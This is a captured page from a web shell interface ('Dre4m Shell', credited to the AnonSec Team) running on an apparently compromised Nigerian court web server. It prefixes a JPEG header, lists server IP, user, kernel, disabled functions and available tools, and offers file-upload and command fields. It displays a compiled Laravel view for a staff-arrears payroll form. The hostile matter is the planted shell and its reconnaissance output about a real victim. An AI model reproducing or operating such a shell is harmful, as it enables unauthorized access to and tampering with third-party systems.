ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.14.253.142
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/7cd898f3678aef5bd85961fa26c6a90f09fc4e60.php

<?php $__env->startSection('pageTitle'); ?>
    Staff Due For Arrears
<?php $__env->stopSection(); ?>

<?php $__env->startSection('content'); ?>

    <div class="box-body">
        <div class="row">
            <div class="col-md-12"><!---1st col-->
                <h4 class="" style="text-transform:uppercase">Add staff For Arrears</h4>
                <?php if(count($errors) > 0): ?>
                    <div class="alert alert-danger alert-dismissible" role="alert">
                        <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span
                                aria-hidden="true">&times;</span>
                        </button>
                        <strong>Error!</strong>
                        <?php $__currentLoopData = $errors->all(); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $error): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                            <p><?php echo e($error); ?></p>
                        <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                    </div>
                <?php endif; ?>

                <?php if(session('msg')): ?>
                    <div class="alert alert-success alert-dismissible" role="alert">
                        <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span
                                aria-hidden="true">&times;</span>
                        </button>
                        <strong>Success!</strong>
                        <?php echo e(session('msg')); ?>

                    </div>
                <?php endif; ?>

                <?php if(session('err')): ?>
                    <div class="alert alert-danger alert-dismissible" role="alert">
                        <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span
                                aria-hidden="true">&times;</span>
                        </button>
                        <strong>Success!</strong>
                        <?php echo e(session('err')); ?>

                    </div>
                <?php endif; ?>

            </div>


            <div class="col-md-12"><!---2nd col-->
                <form method="post" style="margin-top:10px; padding-top:20px;" id="mainform" name="mainform"
                    enctype="multipart/form-data">
                    <input type="hidden" id="delid" name="delid">
                    <?php echo e(csrf_field()); ?>

                    <?php if($CourtInfo->courtstatus == 1): ?>
                        <div class="col-md-4"style="padding-top:20px;">
                            <div class="form-group">
                                <label for="staffName">Court</label>
                                <select name="court" id="court" class="form-control court">

                                    <option>Select court</option>
                                    <?php $__currentLoopData = $court; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $courts): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                        <?php if($courts->id == session('anycourt')): ?>
                                            <option value="<?php echo e($courts->id); ?>" selected="selected">
                                                <?php echo e($courts->court_name); ?></option>
                                        <?php else: ?>
                                            <option value="<?php echo e($courts->id); ?>"><?php echo e($courts->court_name); ?></option>
                                        <?php endif; ?>
                                    <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                                </select>
                            </div>
                        </div>
                    <?php else: ?>
                        <input type="hidden" id="court" name="court" value="<?php echo e($CourtInfo->courtid); ?>">
                    <?php endif; ?>

                    <?php if($CourtInfo->divisionstatus == 1 && Auth::user()->is_global == 1): ?>
                        <div class="col-md-4" style="padding-top:20px;">
                            <div class="form-group">
                                <label for="staffName">Division</label>
                                <select name="division" id="division" class="form-control">
                                    <option value="">Select Division</option>
                                    
                                    <?php $__currentLoopData = $courtDivisions; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $div): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                        
                                        
                                        <option value="<?php echo e($div->divisionID); ?>" <?php if(old('division') == $div->divisionID): ?>  <?php endif; ?>>
                                            <?php echo e($div->division); ?>

                                        </option>
                                        
                                    <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                                    
                                </select>
                            </div>
                        </div>
                    <?php else: ?>
                        <div class="col-md-4">
                            <div class="form-group">
                                <label>Division</label>
                                <input type="text" class="form-control" id="divisionName" name="divisionName"
                                    value="<?php echo e($curDivision->division); ?>" readonly>
                            </div>
                        </div>
                        <input type="hidden" id="division" name="division" value="<?php echo e(Auth::user()->divisionID); ?>">
                        <!--<input type="hidden" id="division" name="division" value="<?php echo e($CourtInfo->divisionid); ?>">-->
                    <?php endif; ?>

                    <?php if($CourtInfo->courtstatus == 1): ?>
                        <div class="col-md-4" style="padding-top:20px;">
                            <div class="form-group">
                                <label for="staffName">Select Staff Name</label>
                                <select name="staffName" id="staffName" class="form-control">
                                    <option>Select Staff Name</option>
                                    <?php $__currentLoopData = $staffList; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $list): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                        <?php if($list->ID == session('staffsession')): ?>
                                            <option value="<?php echo e($list->ID); ?>" selected><?php echo e($list->first_name); ?>

                                                <?php echo e($list->surname); ?> <?php echo e($list->othernames); ?></option>
                                        <?php else: ?>
                                            <option value="<?php echo e($list->ID); ?>"> <?php echo e($list->surname); ?>

                                                <?php echo e($list->first_name); ?> <?php echo e($list->othernames); ?> - <?php echo e($list->fileNo); ?>

                                            </option>
                                        <?php endif; ?>
                                    <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>

                                </select>
                            </div>
                        </div>
                    <?php else: ?>
                        <div class="col-md-4" style="padding-top:20px;">
                            <div class="form-group">

                                <input type="hidden" id="fileNo" name="fileNo"
                                    value="<?php if($staff != ''): ?> <?php echo e($staff->ID); ?> <?php endif; ?>" />
                                <label class="control-label">Staff Names Search</label>
                                <input type="text" id="userSearch" autocomplete="off" list="enrolledUsers"
                                    class="form-control" onchange="StaffSearchReload()">
                                <datalist id="enrolledUsers" name="staff">
                                    <?php $__currentLoopData = $staffData; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $list): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                        <option value="<?php echo e($list->ID); ?>"><?php echo e($list->fileNo); ?>:<?php echo e($list->surname); ?>

                                            <?php echo e($list->first_name); ?> <?php echo e($list->othernames); ?></option>
                                    <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                                </datalist>
                            </div>
                        </div>
                    <?php endif; ?>

                    <div class="col-md-6">
                        <div class="form-group">
                            <label for="fileNo">File No</label>
                            <input type="Text" class="form-control" readonly
                                value="<?php if($staff != ''): ?> <?php echo e($staff->fileNo); ?> <?php endif; ?>" />
                        </div>
                    </div>
                    <div class="col-md-6">
                        <div class="form-group">
                            <label for="fileNo">Name</label>
                            <input type="Text" name="name" class="form-control" readonly
                                value="<?php if($staff != ''): ?> <?php echo e($staff->surname); ?> <?php echo e($staff->first_name); ?> <?php echo e($staff->othernames); ?> <?php endif; ?>" />
                        </div>
                    </div>
                    <div class="col-md-6">
                        <div class="form-group">
                            <label for="staffFullName">Employee Type</label>
                            <input type="Text" name="employeeType" id="employeeType" class="form-control" readonly
                                value="<?php if($staff != ''): ?> <?php echo e($staff->employmentType); ?> <?php endif; ?>" />
                        </div>
                    </div>

                    <div class="col-md-6">
                        <div class="form-group">
                            <label for="grade">Employee Type (New)</label>

                            <input type="Text" name="newEmployeeType" id="employeeType" class="form-control" readonly
                                value="<?php if($staff != ''): ?> <?php echo e($staff->employmentType); ?> <?php endif; ?>" />
                            
                            <input type="hidden" name="newEmpType" id="empType" class="form-control"
                                value="<?php echo e(isset($staff) ? trim($staff->employee_type) : ''); ?>" />
                        </div>
                    </div>


                    <div class="col-md-6">
                        <div class="form-group">
                            <label for="staffBank">Bank</label>
                            <input type="Text" name="staffBank" id="staffBank" class="form-control" readonly
                                value="<?php if($staff != ''): ?> <?php echo e($staff->bank); ?> <?php endif; ?>" />
                        </div>
                    </div>

                    <div class="col-md-6">
                        <div class="form-group">
                            <label for="step">Old Grade</label>
                            <select name='oldGrade' class="form-control">
                                <option value=""></option>
                                <?php for($i = 1; $i <= 17; $i++): ?>
                                    <option value="<?php echo e($i); ?>"
                                        <?php if(old('oldGrade') == $i): ?> selected <?php endif; ?>><?php echo e($i); ?></option>
                                <?php endfor; ?>

                            </select>
                        </div>
                    </div>
                    <div class="col-md-6">
                        <div class="form-group">
                            <label for="type">New Grade</label>
                            <select name='newGrade' class="form-control">
                                <option value=""></option>
                                <?php for($i = 1; $i <= 17; $i++): ?>
                                    <option value="<?php echo e($i); ?>"
                                        <?php if(old('newGrade') == $i): ?> selected <?php endif; ?>><?php echo e($i); ?></option>
                                <?php endfor; ?>
                            </select>
                        </div>
                    </div>

                    <div class="col-md-6">
                        <div class="form-group">
                            <label for="step">Old Step</label>
                            <select name='oldStep' class="form-control">
                                <option value=""></option>
                                <?php for($i = 1; $i <= 17; $i++): ?>
                                    <option value="<?php echo e($i); ?>"
                                        <?php if(old('oldStep') == $i): ?> selected <?php endif; ?>><?php echo e($i); ?></option>
                                <?php endfor; ?>
                            </select>
                        </div>
                    </div>

                    <div class="col-md-6">
                        <div class="form-group">
                            <label for="step">New Step</label>
                            <select name='newStep' class="form-control">
                                <option value=""></option>
                                <?php for($i = 1; $i <= 17; $i++): ?>
                                    <option value="<?php echo e($i); ?>"
                                        <?php if(old('newStep') == $i): ?> selected <?php endif; ?>><?php echo e($i); ?></option>
                                <?php endfor; ?>
                            </select>
                        </div>
                    </div>

                    <div class="col-md-6">
                        <div class="form-group">
                            <label for="vehicle">Arrears Type</label>
                            <select name='arrearsType' class="form-control">
                                <option value="">Select</option>
                                <option value="increment">increment</option>
                                <option value="advancement">advancement</option>
                                <option value="newAppointment">New Appointment</option>
                                <option value="advancement">Promotion</option>
                                <option value="advancement">Conversion</option>
                            </select>
                        </div>
                    </div>

                    <div class="col-md-3">
                        <div class="form-group">
                            <label for="vehicle">Due Date</label>
                            <input type="Text" name="dueDate" id="dueDate" class="form-control"
                                value="<?php echo e(old('dueDate')); ?>" readonly />
                        </div>
                    </div>

                    <div class="col-md-3">
                        <div class="form-group">
                            <label for="vehicle">OverDue Date</label>
                            <input type="Text" name="overdueDate" id="overdueDate" class="form-control"
                                value="<?php echo e(old('overdueDate')); ?>" readonly />
                        </div>
                    </div>
                    <div class="col-md-6">
                        <div class="form-group">
                            <label for="doc_url">Upload File <i style="color: red">(optional)</i></label>
                            <input type="file" name="doc_url" id="doc_url" class="form-control"
                                value="<?php echo e(old('doc_url')); ?>" />
                        </div>
                    </div>

                    <div align="right" class="box-footer">
                        <button class="btn btn-success" name="add" type="submit"> Update</button>
                    </div>
            </div>
        </div><!-- /.col href="<?php echo e(url('/variable/view/')); ?>"-->
    </div><!-- /.row -->
    </form>
    <div class="table-responsive col-md-12" style="font-size: 12px; padding:10px;">
        <table class="table table-bordered table-striped table-highlight">
            <thead>
                <tr bgcolor="#c7c7c7">
                    <th>S/N</th>
                    <th>Arrear Type</th>
                    <th>Old Grade</th>
                    <th>Old Step</th>
                    <th>New Grade</th>
                    <th>New Step</th>
                    <th>Due Date</th>
                    <th>Overdue Date</th>
                    <th>Period Process</th>

                    <th>Document</th>
                    <th>Action</th>
                </tr>
            </thead>
            <?php $i = 1; ?>
            <tbody>

                <?php $__currentLoopData = $StaffOverdueArrear; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $list): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                    <tr>
                        <td><?php echo e($i++); ?></td>
                        <td><?php echo e($list->arrears_type); ?></td>
                        <td><?php echo e($list->old_grade); ?></td>
                        <td><?php echo e($list->old_step); ?></td>
                        <td><?php echo e($list->new_grade); ?></td>
                        <td><?php echo e($list->new_step); ?></td>
                        <td><?php echo e($list->due_date); ?></td>
                        <td><?php echo e($list->overdueDate); ?></td>
                        <td><?php echo e($list->month_payment); ?> <?php echo e($list->year_payment); ?></td>

                        <td>
                            <?php if($list->doc_url): ?>
                                <a class="btn btn-info" href="<?php echo e(asset($list->doc_url)); ?>" target="_blank">View</a>
                            <?php endif; ?>
                        </td>

                        <td>
                            <div align="right">
                                <a onclick="return ConfirmDelete('<?php echo e($list->ID); ?>')" title="Remove"
                                    class="btn btn-danger deleteBankList"> <i class="fa fa-trash"></i> </a>
                            </div>
                        </td>
                    </tr>
                <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
            </tbody>
        </table>

    </div>
<?php $__env->stopSection(); ?>
<?php $__env->startSection('styles'); ?>
    <link rel="stylesheet" type="text/css" href="<?php echo e(asset('assets/css/datepicker.min.css')); ?>">
<?php $__env->stopSection(); ?>
<?php $__env->startSection('scripts'); ?>
    <script src="<?php echo e(asset('assets/js/jquery-ui.min.js')); ?>"></script>

    <script type="text/javascript">
        function ConfirmDelete(id) {

            var cmt = confirm('You are about to delete a record. Click OK to continue?');
            if (cmt == true) {
                document.getElementById('delid').value = id;
                document.getElementById('mainform').submit();
                return;
            }
        }



        function StaffSearchReload() {
            document.getElementById('fileNo').value = document.getElementById('userSearch').value;
            document.forms["mainform"].submit();
            //alert("jdjdjdeedd");
            return;
        }
    </script>

    <script type="text/javascript">
        $(function() {
            $("#overdueDate").datepicker({
                changeMonth: true,
                changeYear: true,
                dateFormat: 'yy-mm-dd'
            });
            $("#dueDate").datepicker({
                changeMonth: true,
                changeYear: true,
                dateFormat: 'yy-mm-dd'
            });
            $("#incrementalDate").datepicker({
                changeMonth: true,
                changeYear: true,
                dateFormat: 'yy-mm-dd'
            });
        });
    </script>

    <script type="text/javascript">
        $(document).ready(function() {
            // alert('danger')

            $('select[name="division"]').on('change', function() {
                var division_id = $(this).val();
                // alert(division_id)

                if (division_id) {
                    $.ajax({
                        url: "<?php echo e(url('/division/staff/ajax')); ?>/" + division_id,
                        type: "GET",
                        dataType: "json",
                        success: function(data) {

                            var d = $('datalist[name="staff"]').html('');
                            $.each(data, function(key, value) {
                                $('datalist[name="staff"]').append(
                                    `<option value=${value.ID}>
                                ${value.fileNo} : ${value.surname}  ${value.first_name}  ${value.othernames}  </option>`
                                );
                            });
                        }
                    });
                } else {
                    alert('danger')
                }

            }); //

        });
    </script>
    
<?php $__env->stopSection(); ?>

<?php echo $__env->make('layouts.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /home/nicngo5/grp.nicn.gov.ng/resources/views/dueForArrears/createoverdue.blade.php ENDPATH**/ ?>

Anon7 - 2022
AnonSec Team